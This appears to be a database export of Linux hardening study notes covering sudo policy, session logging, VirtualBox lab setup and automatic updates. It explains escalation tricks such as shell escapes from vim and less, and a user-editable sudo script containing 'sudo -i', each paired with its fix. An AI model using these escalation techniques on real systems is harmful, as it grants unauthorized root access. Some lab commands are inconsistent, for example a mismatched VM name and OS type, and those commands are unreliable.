*/etc/sudo.conf*\nDefaults mail_always code txt 2024-07-28 10:10:00.046454 -5346 1588 * `mail_always`: send an email any time anyone uses sudo, successfully or not. useful in testing but not in production.\n* `mail_badpass`: send email whenever a user enters an incorrect password.\n* `mail_no_host`: send an email wherever a user tries to use `sudo` but doesn't have sudo access on that host.\n* `mail_no_perms`: send a notification whenever a user tries to run a command that they aren't permitted access to. users who try to do routine tasks with sudo mostly appear here.\n* `mail_no_user`: send an email notification whenever a user who doesn't appear in the sudo policy attempts to run `sudo`. text txt 2024-07-28 10:10:00.29068 -5347 1589 `notice` level is enough to identify most problems. text txt 2024-07-28 10:10:00.703947 -5348 1589 `trace` level is good for reporting issues to the mailing list. text txt 2024-07-28 10:10:00.724382 -5349 1589 * `debug`\n* `trace`\n* `info`\n* `diag`\n* `notice`\n* `warn`\n* `err`\n* `crit` text txt 2024-07-28 10:10:00.744746 -5350 1590 The entry needs four parts: text txt 2024-07-28 10:10:01.163884 -5351 1590 * debug statement\n* program or plugin to be debugged\n* the log file location\n* the subsystem and levels to be logged text txt 2024-07-28 10:10:01.183716 -5352 1590 You can only have one Debug statement per program or plugin. text txt 2024-07-28 10:10:01.20416 -5353 1590 */etc/sudo.conf*\nDebug sudo /var/log/sudo_debug all@notice code txt 2024-07-28 10:10:01.225022 -5354 1591 Do not log the output from `sudoreplay` itself, as you'll quickly fill your disk with log messages. text txt 2024-07-28 10:10:01.599668 -5355 1591 And logging output from the `reboot` and `shutdown` commands can delay the system's shutdown and recovery. text txt 2024-07-28 10:10:01.619893 -5356 1591 Default log_output\nDefault!/usr/bin/sudoreplay !log_output\nDefault!/usr/bin/reboot !log_output\nDefault!/usr/bin/shutdown !log_output code txt 2024-07-28 10:10:01.64 -5357 1592 /var/log/sudo-io code txt 2024-07-28 10:10:01.906434 -5358 1593 Default log_input code txt 2024-07-28 10:10:02.158653 -5359 1593 The `log_input` option only logs what's echoed back to the user, but some programs print sensitive information. text txt 2024-07-28 10:10:02.178473 -5360 1594 * `LOG_INPUT`, `LOG_OUTPUT`\n* `NOLOG_INPUT`, `NOLOG_OUTPUT` text txt 2024-07-28 10:10:02.398673 -5361 1595 ADMINS ALL = /usr/bin/sudoreplay code txt 2024-07-28 10:10:02.616899 -5362 1596 sudo sudoreplay -l code txt 2024-07-28 10:10:02.831158 -5363 1597 sudo runs logged sessions in a new pseudoterminal, so it can capture all input and/or output. text txt 2024-07-28 10:10:03.076717 -5364 1597 sudo sudoreplay code txt 2024-07-28 10:10:03.097273 -5365 1598 * To inteactively change the replay speed, use `<` and `>` keys.\n* To preemtively adjust the replay speed, use `-s` and `-m` options, which `-m` sets maximum number of seconds to pause between changes, and `-s` changes the speed of the entire replay. text txt 2024-07-28 10:10:03.286714 -5366 1599 sudo sudoreplay -l command passwd code txt 2024-07-28 10:10:03.530249 -5367 1600 Don't include a trailing slash on the directory name.\n Also, the directory name must match exactly; searching for `/etc` will not match `/etc/ssh`. text txt 2024-07-28 10:10:03.824729 -5368 1600 sudo sudoreplay -l cwd /etc code txt 2024-07-28 10:10:03.845239 -5369 1601 sudo sudoreplay -l user jessica code txt 2024-07-28 10:10:04.080383 -5370 1602 sudo sudoreplay -l group devops code txt 2024-07-28 10:10:04.323431 -5371 1603 sudo sudoreplay -l runas olivia code txt 2024-07-28 10:10:04.560226 -5372 1604 sudo sudoreplay -l tty console code txt 2024-07-28 10:10:04.797591 -5373 1605 sudo sudoreplay -l fromdate "last week"\nsudo sudoreplay -l todate today code txt 2024-07-28 10:10:05.077833 -5374 1606 sudo sudoreplay -l fromdate "last week" todate "next week" user christina code txt 2024-07-28 10:10:05.307001 -5375 1607 sudo sudoreplay -l user ammy or user jeana code txt 2024-07-28 10:10:05.544415 -5376 1608 sudo sudoreplay -l (command /usr/bin/sh or command /usr/bin/bash) user alisa code txt 2024-07-28 10:10:05.808431 -5377 1609 Running shell scripts with sudo will leave lots of ways for unauthorized users to escalate their privileges.\n`sudo` is useful, but a sysadmin who understands when a specific tool won't solve their problem is more useful. text txt 2024-07-28 10:10:06.064521 -5378 1610 Download and install VirtualBox and the VirtualBox Extension Pack from https://www.virtualbox.org - https://www.virtualbox.org/. text txt 2024-07-28 10:10:09.781762 -5379 1610 Get version of installed VirtualBox: text txt 2024-07-28 10:10:09.802839 -5380 1610 vbox_version="$(vboxmanage --version | sed 's/[^0-9.].*//')" code txt 2024-07-28 10:10:09.822768 -5381 1610 Check if extension pack is already installed: text txt 2024-07-28 10:10:09.84429 -5382 1610 vboxmanage list extpacks | grep 'Version:' | awk '{print $2}' | grep -q "${vbox_version}" && echo "extpack for ${vbox_version} already exists" code txt 2024-07-28 10:10:09.865037 -5383 1610 Install extension pack otherwise: text txt 2024-07-28 10:10:09.885747 -5384 1610 vbox_sum256="$(wget -O - -q "https://www.virtualbox.org - https://www.virtualbox.org/download/hashes/${vbox_version}/SHA256SUMS" | grep "${vbox_version}.vbox-extpack" | cut -d' ' -f1)"\nwget -c "https://download.virtualbox.org - https://download.virtualbox.org/virtualbox/${vbox_version}/Oracle_VM_VirtualBox_Extension_Pack-${vbox_version}.vbox-extpack" -O /tmp/${vbox_version}.vbox-extpack\nvboxmanage extpack install --replace --accept-license=${vbox_sum256} /tmp/${vbox_version}.vbox-extpack code txt 2024-07-28 10:10:09.907787 -5430 1617 sudo apt install unattended-upgrades code txt 2024-07-28 10:10:14.008694 -5675 1659 sudo authselect list code txt 2024-07-28 10:10:40.135671 -5385 1610 Download the installation `.iso` files for Ubuntu Server 22.04, CentOS 7, AlmaLinux8, and AlmaLinux9 from https://ubuntu.com - https://ubuntu.com/, https://almalinux.org/, and https://www.centos.org/. text txt 2024-07-28 10:10:09.928435 -5386 1610 Create a virtual machine and register it: text txt 2024-07-28 10:10:09.95044 -5387 1610 vboxmanage createvm --name ubuntu --ostype archlinux_64 --basefolder $HOME/VMs --register code txt 2024-07-28 10:10:09.972278 -5388 1610 Increase the memory, virtual memory and cpu count: text txt 2024-07-28 10:10:09.992606 -5389 1610 vboxmanage modifyvm ubuntu --cpus 2 --memory 2048 --vram 128 code txt 2024-07-28 10:10:10.0135 -5390 1610 Create a virtual drive controller and medium and attach to the virtual machine: text txt 2024-07-28 10:10:10.033457 -5391 1610 vboxmanage storagectl ubuntu --add SATA --type sata --controller IntelAhci\nvboxmanage createmedium disk --filename $HOME/VMs/ubuntu/ubuntu.vdi --size $((1024 * 20)) --format VDI\nvboxmanage storageattach sample --storagectl SATA --medium $HOME/VMs/ubuntu/ubuntu.vdi mtype normal --type hdd --port 0 code txt 2024-07-28 10:10:10.05522 -5392 1610 Create a DVD drive, insert the `.iso` file into it and attach to the virtual machine: text txt 2024-07-28 10:10:10.075357 -5393 1610 vboxmanage createmedium dvd --filename $HOME/VMs/ubuntu/ubuntu.dvd --size $((1024 * 4))\nvboxmanage storageattach ubuntu --storagectl SATA --medium $HOME/VMs/ubuntu/ubuntu.dvd --mtype normal --type dvddrive --port 1 code txt 2024-07-28 10:10:10.096766 -5394 1610 Create a NAT network and enable port forwarding: text txt 2024-07-28 10:10:10.116888 -5395 1610 code txt 2024-07-28 10:10:10.136279 -5396 1610 Start the new virtual machine: text txt 2024-07-28 10:10:10.155917 -5397 1610 vboxmanage startvm ubuntu --type gui code txt 2024-07-28 10:10:10.175856 -5398 1610 Now install Ubuntu and take a snapshot after the clean setup: text txt 2024-07-28 10:10:10.196594 -5399 1610 vboxmanage snapshot ubuntu take post-installation code txt 2024-07-28 10:10:10.217144 -5400 1611 While the **Ubuntu** package repositories have pretty much everything that you need, the **CentOS** and **AlmaLinux** package repositories are lacking.\nYou’ll need to install the EPEL repository. (The EPEL project is run by the Fedora team.)\nWhen you install third-party repositories on Red Hat 7 and CentOS 7 systems, you’ll also need to install a priorities package and edit the `.repo` files to set the proper priorities for each repository.\nThis will prevent packages from the third-party repository from overwriting official Red Hat and CentOS packages if they just happen to have the same name.\nThe two packages that you’ll need to install EPEL are in the normal CentOS 7 repositories. text txt 2024-07-28 10:10:11.057697 -5401 1611 sudo yum install yum-plugin-priorities epel-release code txt 2024-07-28 10:10:11.077864 -5402 1611 When the installation completes, navigate to the `/etc/yum.repos.d` directory, and open the `CentOS-Base.repo` file in your favorite text editor.\nAfter the last line of the `base`, `updates`, and extras sections, add the line `priority=1`.\nAfter the last line of the `centosplus` section, add the line `priority=2`.\nOpen the `epel.repo` file for editing.\nAfter the last line of the `epel` section, add the line `priority=10`.\nAfter the last line of each remaining section, add the line `priority=11`.\nUpdate the system and then create a list of the installed and available packages: text txt 2024-07-28 10:10:11.100766 -5403 1611 sudo yum upgrade sudo yum list > yum_list.txt code txt 2024-07-28 10:10:11.120116 -5404 1611 To install the EPEL repository on **AlmaLinux**, all you have to do is run this command: text txt 2024-07-28 10:10:11.141008 -5405 1611 sudo dnf install epel-release code txt 2024-07-28 10:10:11.160552 -5406 1611 There’s no priorities package as there is on CentOS 7 and earlier, so we won’t have to worry about configuring the repository priorities.\nWhen the package installation is complete, update the system and create a list of available sof t ware packages with these two commands: text txt 2024-07-28 10:10:11.182831 -5407 1611 sudo dnf upgrade sudo dnf list > dnf_list.txt code txt 2024-07-28 10:10:11.203673 -5408 1612 Spend some time perusing the Common Vulnerabilities and Exposures database on https://cve.mitre.org - https://cve.mitre.org/ and you’ll soon see why it’s so important to keep your systems updated. text txt 2024-07-28 10:10:11.428632 -5409 1613 run two commands: text txt 2024-07-28 10:10:11.703276 -5410 1613 sudo apt update\nsudo apt dist-upgrade code txt 2024-07-28 10:10:11.724137 -5411 1614 sudo apt auto-remove code txt 2024-07-28 10:10:11.942448 -5412 1616 When you first install Ubuntu, automatic updates are turned on by default.\nTo verify that, you’ll first check the status of the `unattended-upgrades` service: text txt 2024-07-28 10:10:12.571179 -5413 1616 systemctl status unattended-upgrades code txt 2024-07-28 10:10:12.590671 -5414 1616 Then, look in the `/etc/apt/apt.conf.d/20auto-upgrades` file. If *auto-updating* is enabled, you’ll see this: text txt 2024-07-28 10:10:12.610852 -5415 1616 ```\nAPT::Periodic::Update-Package-Lists "1";\nAPT::Periodic::Unattended-Upgrade "1";\n`````` text txt 2024-07-28 10:10:12.631454 -5416 1617 By default, Ubuntu systems don’t automatically reboot after an update is installed.\nIf you keep it that way, you’ll see a message about it when you log into the system.\nBut if you prefer, you can set Ubuntu to automatically reboot after it automatically updates itself. text txt 2024-07-28 10:10:13.719508 -5417 1617 Go into the `/etc/apt/apt.conf.d` directory and open the `50unattended-upgrades` file in your favorite text editor, you’ll see a line that says: text txt 2024-07-28 10:10:13.741511 -5418 1617 Unattended-Upgrade::Automatic-Reboot "false"; code txt 2024-07-28 10:10:13.762933 -5419 1617 With this new configuration, Ubuntu will now reboot itself immediately after the automatic update process has completed.\nIf you’d rather have the machine reboot at a specific time, scroll down where you’ll see this: text txt 2024-07-28 10:10:13.783446 -5420 1617 //Unattended-Upgrade::Automatic-Reboot-Time "02:00"; code txt 2024-07-28 10:10:13.80437 -5421 1617 To disable automatic updates, just go into the `/etc/apt/apt.conf.d` directory and open the `20auto-upgrades` file in your favorite text editor, you’ll see: text txt 2024-07-28 10:10:13.825877 -5422 1617 APT::Periodic::Update-Package-Lists "1";\nAPT::Periodic::Unattended-Upgrade "1"; code txt 2024-07-28 10:10:13.845939 -5423 1617 Change the parameter for that second line to 0, so that the file will now look like this: text txt 2024-07-28 10:10:13.8661 -5424 1617 APT::Periodic::Update-Package-Lists "1";\nAPT::Periodic::Unattended-Upgrade "0"; code txt 2024-07-28 10:10:13.887099 -5425 1617 If you want to see if there are any security-related updates available, but don’t want to see any non-security updates, use the unattended-upgrade command, like so: text txt 2024-07-28 10:10:13.907722 -5426 1617 sudo unattended-upgrade --dry-run -d code txt 2024-07-28 10:10:13.927619 -5427 1617 8. To manually install the security-related updates without installing non-security updates, just run: text txt 2024-07-28 10:10:13.94751 -5428 1617 sudo unattended-upgrade -d code txt 2024-07-28 10:10:13.967417 -5429 1617 Also, if you’re running a non-Ubuntu flavor of Debian, which would include Rasp-bian for the Raspberry Pi, you can give it the same functionality as Ubuntu by installing the unattended-upgrades package. Just run this command: text txt 2024-07-28 10:10:13.98789 -5431 1618 There’s no automatic update mechanism on Red Hat-based systems, which include CentOS and Oracle Linux.\nSo, with the default configuration, you’ll need to perform updates yourself: text txt 2024-07-28 10:10:14.920646 -5432 1618 To update a Red Hat 7-based system, just run this one command: text txt 2024-07-28 10:10:14.941234 -5433 1618 sudo yum upgrade code txt 2024-07-28 10:10:14.961812 -5434 1618 To see only security updates that are ready to be installed: text txt 2024-07-28 10:10:14.982342 -5435 1618 sudo yum updateinfo list updates security code txt 2024-07-28 10:10:15.002701 -5436 1618 To only install the security updates: text txt 2024-07-28 10:10:15.023211 -5437 1618 sudo yum upgrade --security code txt 2024-07-28 10:10:15.043953 -5438 1618 To make CentOS system automatically update itself, install and enable `yum-cron` service: text txt 2024-07-28 10:10:15.064307 -5439 1618 sudo yum install yum-cron\nsudo systemctl enable --now yum-cron code txt 2024-07-28 10:10:15.086095 -5440 1618 To configure `yum-cron` service, edit `/etc/yum/yum-cron.conf` file: text txt 2024-07-28 10:10:15.106384 -5441 1618 update_cmd = security text txt 2024-07-28 10:10:15.126838 -5442 1618 download_updates = yes\napply_updates = no code txt 2024-07-28 10:10:15.147851 -5443 1618 If you want the updates to get automatically installed, change the `apply_updates` parameter to `yes`. text txt 2024-07-28 10:10:15.168197 -5444 1618 Note that unlike Ubuntu, there’s no setting to make Red Hat 7-based systems automatically reboot themselves after an update. text txt 2024-07-28 10:10:15.190399 -5445 1619 Mail settings for yum-cron can be found in `/etc/yum/yum-cron.conf` file. text txt 2024-07-28 10:10:15.582427 -5446 1619 The `email_to` line is set to send messages to the root user account.\nIf you want to receive messages on your own account, just change it here. text txt 2024-07-28 10:10:15.603368 -5447 1619 To see the messages, you’ll need to install a mail reader program like **mutt**, if one isn’t already installed. text txt 2024-07-28 10:10:15.623787 -5448 1619 sudo yum install mutt code txt 2024-07-28 10:10:15.644746 -5449 1620 Make sure `needs-restarting` is installed: text txt 2024-07-28 10:10:15.981063 -5450 1620 sudo yum install yum-utils code txt 2024-07-28 10:10:16.000405 -5451 1620 * `sudo needs-restarting`: This shows the services that need to be restarted, and the reasons why the system might need to be rebooted.\n* `sudo needs-restarting -s`: This only shows the services that need to be restarted.\n* `sudo needs-restarting -r`: This only shows the reasons why the system needs to be rebooted. text txt 2024-07-28 10:10:16.021298 -5452 1621 For the most part, you use `dnf` the same way that you’d use `yum`, with the same arguments and options. text txt 2024-07-28 10:10:16.689497 -5453 1621 sudo dnf upgrade code txt 2024-07-28 10:10:16.710663 -5454 1621 The main functional difference between `yum` and `dnf` is that `dnf` has a different automatic update mechanism.\nInstead of installing the `yum-cron` package, you’ll now install the `dnf-automatic` package: text txt 2024-07-28 10:10:16.731788 -5455 1621 sudo dnf install dnf-automatic code txt 2024-07-28 10:10:16.75332 -5456 1621 Configure the `/etc/dnf directory/automatic.conf` file the same way as you did the yum-cron.conf file for CentOS 7. text txt 2024-07-28 10:10:16.774758 -5457 1621 Instead of working as a cron job, as the old `yum-cron` did, `dnf-automatic` works with a systemd timer.\nWhen you first install `dnf-automatic`, the timer is disabled.\nEnable it and start it by running this command: text txt 2024-07-28 10:10:16.796007 -5458 1621 sudo systemctl enable --now dnf-automatic.timer code txt 2024-07-28 10:10:16.816502 -5459 1621 To determine if a system needs to be restarted, just install the `yum-utils` package and run the `needs-restarting` command, the same as you did for CentOS 7.\n(For some reason, the Red Hat developers never bothered to change the package name to `dnf-utils`.) text txt 2024-07-28 10:10:16.838667 -5460 1622 Using `su -` to log in to the root command prompt does not let `sudo` to record user activity.\nFor that reason, getting access to the root command prompt should be prevented. text txt 2024-07-28 10:10:17.078905 -5461 1623 The first method is to add users to a predefined administrators group and then, if it hasn’t already been done, to configure the sudo policy to allow that group to do its job.\nIt’s simple enough to do except that different Linux distro families use different admin groups. text txt 2024-07-28 10:10:17.613589 -5462 1623 On Unix, BSD, and most Linux systems, you would add users to the **wheel** group. text txt 2024-07-28 10:10:17.63377 -5463 1623 Edit sudo policy file by doing `sudo visudo`: text txt 2024-07-28 10:10:17.654201 -5464 1623 %wheel ALL=(ALL) ALL code txt 2024-07-28 10:10:17.674439 -5465 1623 The percent sign indicates that we’re working with a group.\nThe three appearances of *ALL* mean that members of that group can perform *ALL* commands, as *ALL* users, on *ALL* machines in the network on which this policy is deployed. text txt 2024-07-28 10:10:17.694946 -5466 1623 %wheel ALL=(ALL) NOPASSWD: ALL code txt 2024-07-28 10:10:17.715661 -5467 1623 The former snippet means that members of the **wheel** group would be able to perform all of their sudo tasks without ever having to enter any password.\nAvoid doing so, even for home use. text txt 2024-07-28 10:10:17.736437 -5468 1624 On Red Hat distros add users to the **wheel** group: text txt 2024-07-28 10:10:18.194615 -5469 1624 sudo usermod -a -G wheel maggie code txt 2024-07-28 10:10:18.214518 -5470 1624 Use `-a` option in order to prevent removing the user from other groups to which he or she belongs. text txt 2024-07-28 10:10:18.234009 -5471 1624 You can also add a user account to the wheel group as you create it. text txt 2024-07-28 10:10:18.253925 -5472 1624 sudo useradd -G wheel frank code txt 2024-07-28 10:10:18.273602 -5473 1624 For members of the Debian family, including Ubuntu, the procedure is the same, except that you would use the **sudo** group instead of the **wheel** group. text txt 2024-07-28 10:10:18.294523 -5474 1625 With a member of the Red Hat family, `useradd` comes with predefined default settings to create user accounts.\nFor non-Red Hat-type distros, you’d need to either reconfigure the default settings or use extra option switches in order to create the user’s home directory and to assign the correct shell: text txt 2024-07-28 10:10:18.739936 -5475 1625 *Red Hat distros* text txt 2024-07-28 10:10:18.760439 -5476 1625 sudo useradd -G wheel frank code txt 2024-07-28 10:10:18.780993 -5477 1625 *non-Red Hat distros* text txt 2024-07-28 10:10:18.801504 -5478 1625 sudo useradd -G wheel -m -d /home/frank -s /bin/bash frank code txt 2024-07-28 10:10:18.821724 -5479 1626 Create a normal user account and give it full `sudo` privileges.\nThen, log out of the *root* account and log back in with your normal user account and disable the *root* account: text txt 2024-07-28 10:10:19.084672 -5480 1626 sudo passwd -l root code txt 2024-07-28 10:10:19.105617 -5481 1627 You can either create an entry for an individual user or create a user alias. text txt 2024-07-28 10:10:19.484791 -5482 1627 ADMINS ALL=(ALL) ALL code txt 2024-07-28 10:10:19.505402 -5483 1627 It’s also possible to add a sudo entry for just a single user, and you might need to do that under very special circumstances. text txt 2024-07-28 10:10:19.526525 -5484 1627 frank ALL=(ALL) ALL code txt 2024-07-28 10:10:19.549121 -5485 1628 You can, for example, create a `BACKUPADMINS` user alias for backup administrators, a `WEBADMINS` user alias for web server administrators, or whatever else you desire: text txt 2024-07-28 10:10:20.075666 -5486 1628 User_Alias SOFTWAREADMINS = vicky, cleopatra code txt 2024-07-28 10:10:20.095738 -5487 1628 Then assign some duties to the user alias: text txt 2024-07-28 10:10:20.116078 -5488 1628 Cmnd_Alias SOFTWARE = /bin/rpm, /usr/bin/up2date, /usr/bin/yum code txt 2024-07-28 10:10:20.135884 -5489 1628 Now, it’s just a simple matter of assigning the `SOFTWARE` command alias to the `SOFTWAREADMINS` user alias: text txt 2024-07-28 10:10:20.156596 -5490 1628 SOFTWAREADMINS ALL=(ALL) SOFTWARE code txt 2024-07-28 10:10:20.177908 -5491 1629 The way sudo works is that if a command is listed by itself, then the assigned user can use that command with any subcommands, options, or arguments. text txt 2024-07-28 10:10:20.737541 -5492 1629 Cmnd_Alias SERVICES = /sbin/service, /sbin/chkconfig, /usr/bin/systemctl start, /usr/bin/systemctl stop, /usr/bin/systemctl reload, /usr/bin/systemctl restart, /usr/bin/systemctl status, /usr/bin/systemctl enable, /usr/bin/systemctl disable code txt 2024-07-28 10:10:20.757943 -5493 1629 But when a command is listed in the command alias with a subcommand, option, or argument, that’s all anyone who’s assigned to the command alias can run. text txt 2024-07-28 10:10:20.778729 -5494 1629 You can eliminate all of the `systemctl` subcommands and make the `SERVICES` alias look like this: text txt 2024-07-28 10:10:20.799861 -5495 1629 Cmnd_Alias SERVICES = /sbin/service, /sbin/chkconfig, /usr/bin/systemctl code txt 2024-07-28 10:10:20.82108 -5496 1629 But if you do that, Lionel and Charlie will also be able to shut down or reboot the system, edit the services files, or change the machine from one systemd target to another. text txt 2024-07-28 10:10:20.843796 -5497 1629 Because the `systemctl` command covers a lot of different functions, you have to be careful not to allow delegated users to access too many of those functions.\nA better solution would be to add a wildcard to each of the systemctl subcommands: text txt 2024-07-28 10:10:20.86532 -5498 1629 Cmnd_Alias SERVICES = /sbin/service, /sbin/chkconfig, /usr/bin/systemctl start *, /usr/bin/systemctl stop *, /usr/bin/systemctl reload *, /usr/bin/systemctl restart *, /usr/bin/systemctl status *, /usr/bin/systemctl enable *, /usr/bin/ systemctl disable * code txt 2024-07-28 10:10:20.886885 -5499 1630 katelyn ALL=(ALL) STORAGE\ngunther ALL=(ALL) /sbin/fdisk -l\n%backup_admins ALL=(ALL) BACKUP code txt 2024-07-28 10:10:21.170933 -5500 1631 Each host alias consists of a list of server hostnames.\nThis is what allows you to create one sudoers file on one machine and deploy it across the network.\nFor example, you could create a `WEBSERVERS` host alias, a `WEBADMINS` user alias, and a `WEBCOMMANDS` command alias with the appropriate commands: text txt 2024-07-28 10:10:21.537662 -5501 1631 Host_Alias WEBSERVERS = webserver1, webserver2\nUser_Alias WEBADMINS = junior, kayla\nCmnd_Alias WEBCOMMANDS = /usr/bin/systemctl status httpd, /usr/bin/systemctl start httpd, /usr/bin/systemctl stop httpd, /usr/bin/systemctl restart httpd\nWEBADMINS WEBSERVERS=(ALL) WEBCOMMANDS code txt 2024-07-28 10:10:21.558463 -5502 1632 Even though `sudo` is a security tool, certain things that you can do with it can make your system even more insecure than it was. text txt 2024-07-28 10:10:22.040365 -5503 1632 By default, the sudo timer is set for 5 minutes.\nAlthough this is obviously handy, it can also be problematic if users were to walk away from their desks with a command terminal still open. text txt 2024-07-28 10:10:22.061569 -5504 1632 You can easily disable this timer by adding a line to the *Defaults* section of the sudoers file: text txt 2024-07-28 10:10:22.082131 -5505 1632 Defaults timestamp_timeout = 0 code txt 2024-07-28 10:10:22.102783 -5506 1632 If you need to leave your desk for a moment, your best action would be to log out of the server first.\nShort of that, you could just reset the sudo timer by running this command: text txt 2024-07-28 10:10:22.123873 -5507 1632 sudo -k code txt 2024-07-28 10:10:22.144246 -5508 1633 sudo -l code txt 2024-07-28 10:10:22.399322 -5509 1634 By assigning shell commands to users in sudo policy file, you have effectively given them full `sudo` privileges. text txt 2024-07-28 10:10:23.558204 -5510 1634 maggie ALL=(ALL) /bin/bash, /bin/zsh code txt 2024-07-28 10:10:23.577703 -5511 1634 This should be avoided all the time. text txt 2024-07-28 10:10:23.599026 -5512 1634 But certain programs, especially text editors like `vi` and pagers like `less`, also have a handy shell escape feature. text txt 2024-07-28 10:10:23.618728 -5513 1634 Imagine that you want Frank to be able to edit the `sshd_config` file and only that file.\nYou might be tempted to add a line to your sudo configuration that would look like this: text txt 2024-07-28 10:10:23.63967 -5514 1634 frank ALL=(ALL) /bin/vim /etc/ssh/sshd_config code txt 2024-07-28 10:10:23.66018 -5515 1634 Once Frank has opened the `sshd_config` file with his sudo privilege, he can then use Vim’s shell escape feature to perform other root-level commands, which includes being able to edit other configuration files, create new users, manipulate system services, or install malware. text txt 2024-07-28 10:10:23.681604 -5516 1634 You can fix this problem by having users use sudoedit instead of vim: text txt 2024-07-28 10:10:23.702562 -5517 1634 frank ALL=(ALL) sudoedit /etc/ssh/sshd_config code txt 2024-07-28 10:10:23.723157 -5518 1634 Other programs that have a shell escape feature include the following: text txt 2024-07-28 10:10:23.74315 -5519 1634 * vim\n* emacs\n* less\n* view\n* more text txt 2024-07-28 10:10:23.763873 -5520 1634 To deal with them, use the `NOEXEC:` option when we set up our sudoers rules. text txt 2024-07-28 10:10:23.784463 -5521 1634 vicky ALL=(ALL) /usr/bin/less code txt 2024-07-28 10:10:23.805164 -5522 1634 sudo less messages code txt 2024-07-28 10:10:23.82605 -5523 1634 To open a shell from within less, Vicky will type `!bash` instead of `:shell` and a new shell will be spawned. text txt 2024-07-28 10:10:23.846609 -5524 1634 To fix that we use the `NOEXEC:` option to the sudoers rule: text txt 2024-07-28 10:10:23.868001 -5525 1634 vicky ALL=(ALL) NOEXEC: /usr/bin/less code txt 2024-07-28 10:10:23.888924 -5526 1634 This prevents Vicky from escaping to even her own shell. text txt 2024-07-28 10:10:23.90871 -5527 1635 Some programs that don’t have shell escapes can still be dangerous if you give users unrestricted privileges to use them. text txt 2024-07-28 10:10:24.235062 -5528 1635 * cat\n* cut\n* awk\n* sed text txt 2024-07-28 10:10:24.256397 -5529 1635 If you must give someone sudo privileges to use one of these programs, it’s best to limit their use to only specific files. text txt 2024-07-28 10:10:24.276209 -5530 1636 You can use host aliases to ensure that servers will only allow the execution of commands that are appropriate for their operating systems.\nAlso, be aware that some system services have different names on different Linux distributions.\nOn Red Hat-type systems, the Secure Shell service is `sshd`. On Debian/Ubuntu systems, it’s just plain `ssh`. text txt 2024-07-28 10:10:24.487091 -5531 1637 In the following line, *(ALL)* means that Sylvester can run the `systemctl` commands as any user: text txt 2024-07-28 10:10:25.083997 -5532 1637 sylvester ALL=(ALL) /usr/bin/systemctl status sshd, /usr/bin/systemctl restart sshd code txt 2024-07-28 10:10:25.10584 -5533 1637 You could, if desired, change that *(ALL)* to *(root)* in order to specify that Sylvester can only run these commands as the root user: text txt 2024-07-28 10:10:25.127106 -5534 1637 sylvester ALL=(root) /usr/bin/systemctl status sshd, /usr/bin/systemctl restart sshd code txt 2024-07-28 10:10:25.148253 -5535 1637 Okay, there’s probably not much point in that because nothing changes. text txt 2024-07-28 10:10:25.168947 -5536 1637 But there are more practical uses for this feature.\nLet’s say that Vicky is a database admin, and you want her to run as the database user: text txt 2024-07-28 10:10:25.189909 -5537 1637 vicky ALL=(database) /usr/local/sbin/some_database_script.sh code txt 2024-07-28 10:10:25.209747 -5538 1637 Vicky could then run the command as the database user by entering the following command: text txt 2024-07-28 10:10:25.230954 -5539 1638 Let’s have Frank create the `frank_script.sh` shell script: text txt 2024-07-28 10:10:26.186548 -5540 1638 sudo -u database some_database_script.sh code txt 2024-07-28 10:10:26.20756 -5541 1638 add this rule for Frank: text txt 2024-07-28 10:10:26.228315 -5542 1638 frank ALL=(ALL) /home/frank/frank_script.sh code txt 2024-07-28 10:10:26.250421 -5543 1638 Since this file is in Frank’s own home directory and he is its owner, he can edit it any way he wants. text txt 2024-07-28 10:10:26.270566 -5544 1638 #!/bin/bash text txt 2024-07-28 10:10:26.290061 -5545 1638 echo "This script belongs to Frank the Cat."\nsudo -i code txt 2024-07-28 10:10:26.311103 -5546 1638 What `sudo -i` does is to log a person in to the root user’s shell, the same way that `sudo su -` does.\nIf Frank were to do `sudo -i` from his own command prompt, it would fail because he doesn’t have the privilege to do that. text txt 2024-07-28 10:10:26.331702 -5547 1638 To remedy this, move Frank’s script to the `/usr/local/sbin/` directory and change the ownership to the root user so that Frank won’t be able to edit it.\nAnd of course, before I do that, I’ll make sure to delete that `sudo -i` line from it: text txt 2024-07-28 10:10:26.352625 -5548 1638 mv frank_script.sh /usr/local/sbin\nchown root: /usr/local/sbin/frank_script.sh code txt 2024-07-28 10:10:26.373972 -5549 1638 Finally, I’ll open `visudo` and change his rule to reflect the new location of the script.\nThe new rule looks like this: text txt 2024-07-28 10:10:26.394227 -5550 1638 frank ALL=(ALL) /usr/local/sbin/frank_script.sh code txt 2024-07-28 10:10:26.414127 -5551 1638 Frank can still run the script, but he can’t edit it. text txt 2024-07-28 10:10:26.435101 -5552 1639 The first thing you want to do after setting up a system is to set up your own user account, give it a good password, and give it sudo privileges.\nThen get rid of that default account, because leaving it in place, especially if you leave the default password, is just asking for trouble. text txt 2024-07-28 10:10:26.942627 -5553 1639 Look in the `/etc/password` file on *RaspEX*, and you’ll see the default user there: text txt 2024-07-28 10:10:26.962404 -5554 1639 raspex:x:1000:1000:,,,:/home/raspex:/bin/bash code txt 2024-07-28 10:10:26.982208 -5555 1639 Then, look in the `/etc/sudoers` file, and you’ll see this line, which allows the *raspex* user to do all `sudo` commands without having to enter a password: text txt 2024-07-28 10:10:27.001091 -5556 1639 raspex ALL=(ALL) NOPASSWD: ALL code txt 2024-07-28 10:10:27.021536 -5557 1639 Another thing to watch out for is that some Linux distributions for IoT devices have this rule in a separate file in the `/etc/sudoers.d` directory, instead of in the main sudoers file.\nEither way, you’ll want to delete this rule, as well as the default user account, when you set up your IoT device.\nAnd of course, you’ll also want to change the root user password, and then lock the root user account. text txt 2024-07-28 10:10:27.04408 -5558 1640 When you install a SUSE distro you and the root user will both have the same password. text txt 2024-07-28 10:10:27.734648 -5559 1640 When you do `sudo visudo` on a SUSE machine, you’ll see these two lines that you don’t see on any other Linux distro: text txt 2024-07-28 10:10:27.754898 -5560 1640 Defaults targetpw # ask for the password of the target user i.e.\nroot ALL ALL=(ALL) ALL # WARNING! Only use this together with 'Defaults targetpw'! code txt 2024-07-28 10:10:27.776564 -5561 1640 Replace previous rules with: text txt 2024-07-28 10:10:27.796601 -5562 1640 %wheel ALL=(ALL:ALL) ALL code txt 2024-07-28 10:10:27.817443 -5563 1640 Add users to *wheel* group: text txt 2024-07-28 10:10:27.838014 -5564 1640 usermod -a -G wheel frank code txt 2024-07-28 10:10:27.858006 -5565 1640 Then disable the *root* user: text txt 2024-07-28 10:10:27.877236 -5566 1640 sudo passwd -l root code txt 2024-07-28 10:10:27.897854 -5567 1641 Defaults log_format=json code txt 2024-07-28 10:10:28.150518 -5568 1642 Defaults log_server=172.16.167.150 code txt 2024-07-28 10:10:28.51157 -5569 1642 If you want JSON-formatted log messages, you need the following setting in the `[eventlog]` section of the `/etc/sudo_logsrvd.conf` 